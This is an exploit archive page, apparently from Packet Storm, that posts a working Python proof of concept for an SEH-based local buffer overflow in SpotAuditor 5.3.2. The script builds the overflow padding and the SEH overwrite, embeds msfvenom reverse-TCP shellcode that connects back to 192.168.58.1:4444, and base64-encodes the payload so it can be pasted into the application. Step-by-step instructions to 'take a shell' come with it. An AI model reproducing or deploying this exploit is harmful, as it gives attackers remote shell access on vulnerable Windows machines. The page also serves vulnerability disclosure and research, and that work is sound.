exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SpotAuditor 5.3.2 Local Buffer Overflow

SpotAuditor 5.3.2 Local Buffer Overflow
Posted Dec 9, 2019
Authored by Kirill Nikolaev

SpotAuditor version 5.3.2 Base64 local buffer overflow SEH exploit.

tags | exploit, overflow, local
SHA-256 | ce7ba3e6792a0de835a4449db2e6bf4fc3f6ba3746bbec96de41b5ee4567093e

SpotAuditor 5.3.2 Local Buffer Overflow

Change Mirror Download
# Exploit Title: SpotAuditor 5.3.2 - 'Base64' Local Buffer Overflow (SEH)
# Exploit Author: Kirill Nikolaev
# Date: 2019-12-06
# Vulnerable Software: SpotAuditor
# Vendor Homepage: http://www.nsauditor.com/
# Version: 5.3.2
# Software Link: http://spotauditor.nsauditor.com/downloads/spotauditor_setup.exe
# Tested Windows 7 SP1 x86

# PoC
# 1. Download and install SpotAuditor
# 2. Change shellcode in python script to yours
# 3. Generate payload with python script
# 4. Run the software "Tools -> Base64 Encrypted Password
# 5. Take a shell
# Original DOS exploit https://www.exploit-db.com/exploits/47719

#!/usr/bin/env python

import base64
print ("[+] Thank you for choosing our company")
print ("[+] Local Buffer Overflow (SEH) in SpotAuditor 5.3.2")
print ("[+] Created By Kirill Nikolaev")
print ("[+] Generate payload,check, that you take your shellcode")
print ("")
head='A'*1024
#eb0c-jmp across a few bytes with seh address
jmp_across='\x41\x41\xeb\x0c'
#0x61e0b194 : pop ebx # pop ebp # ret | {PAGE_EXECUTE_READ} [sqlite3.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.15.2 (C:\Program Files\Nsasoft\SpotAuditor\sqlite3.dll)
seh='\x94\xb1\xe0\x61'
header_for_shellcode='\x41'*10
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.58.1 LPORT=4444 -f py EXITFUNC=thread -b '\x00'
buf = ""
buf += b"\xbd\x7a\xfe\x84\xdd\xdb\xc9\xd9\x74\x24\xf4\x58\x31"
buf += b"\xc9\xb1\x52\x83\xe8\xfc\x31\x68\x0e\x03\x12\xf0\x66"
buf += b"\x28\x1e\xe4\xe5\xd3\xde\xf5\x89\x5a\x3b\xc4\x89\x39"
buf += b"\x48\x77\x3a\x49\x1c\x74\xb1\x1f\xb4\x0f\xb7\xb7\xbb"
buf += b"\xb8\x72\xee\xf2\x39\x2e\xd2\x95\xb9\x2d\x07\x75\x83"
buf += b"\xfd\x5a\x74\xc4\xe0\x97\x24\x9d\x6f\x05\xd8\xaa\x3a"
buf += b"\x96\x53\xe0\xab\x9e\x80\xb1\xca\x8f\x17\xc9\x94\x0f"
buf += b"\x96\x1e\xad\x19\x80\x43\x88\xd0\x3b\xb7\x66\xe3\xed"
buf += b"\x89\x87\x48\xd0\x25\x7a\x90\x15\x81\x65\xe7\x6f\xf1"
buf += b"\x18\xf0\xb4\x8b\xc6\x75\x2e\x2b\x8c\x2e\x8a\xcd\x41"
buf += b"\xa8\x59\xc1\x2e\xbe\x05\xc6\xb1\x13\x3e\xf2\x3a\x92"
buf += b"\x90\x72\x78\xb1\x34\xde\xda\xd8\x6d\xba\x8d\xe5\x6d"
buf += b"\x65\x71\x40\xe6\x88\x66\xf9\xa5\xc4\x4b\x30\x55\x15"
buf += b"\xc4\x43\x26\x27\x4b\xf8\xa0\x0b\x04\x26\x37\x6b\x3f"
buf += b"\x9e\xa7\x92\xc0\xdf\xee\x50\x94\x8f\x98\x71\x95\x5b"
buf += b"\x58\x7d\x40\xcb\x08\xd1\x3b\xac\xf8\x91\xeb\x44\x12"
buf += b"\x1e\xd3\x75\x1d\xf4\x7c\x1f\xe4\x9f\x42\x48\xdc\x5e"
buf += b"\x2b\x8b\x20\x70\xf7\x02\xc6\x18\x17\x43\x51\xb5\x8e"
buf += b"\xce\x29\x24\x4e\xc5\x54\x66\xc4\xea\xa9\x29\x2d\x86"
buf += b"\xb9\xde\xdd\xdd\xe3\x49\xe1\xcb\x8b\x16\x70\x90\x4b"
buf += b"\x50\x69\x0f\x1c\x35\x5f\x46\xc8\xab\xc6\xf0\xee\x31"
buf += b"\x9e\x3b\xaa\xed\x63\xc5\x33\x63\xdf\xe1\x23\xbd\xe0"
buf += b"\xad\x17\x11\xb7\x7b\xc1\xd7\x61\xca\xbb\x81\xde\x84"
buf += b"\x2b\x57\x2d\x17\x2d\x58\x78\xe1\xd1\xe9\xd5\xb4\xee"
buf += b"\xc6\xb1\x30\x97\x3a\x22\xbe\x42\xff\x42\x5d\x46\x0a"
buf += b"\xeb\xf8\x03\xb7\x76\xfb\xfe\xf4\x8e\x78\x0a\x85\x74"
buf += b"\x60\x7f\x80\x31\x26\x6c\xf8\x2a\xc3\x92\xaf\x4b\xc6"
tail='B'*(5000-1028-4-10-len(buf))
shellcode=head+jmp_across+seh+header_for_shellcode+buf
print (base64.b64encode(shellcode))


--
Best regards,
Kirill Nikolaev
Penetration Tester
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close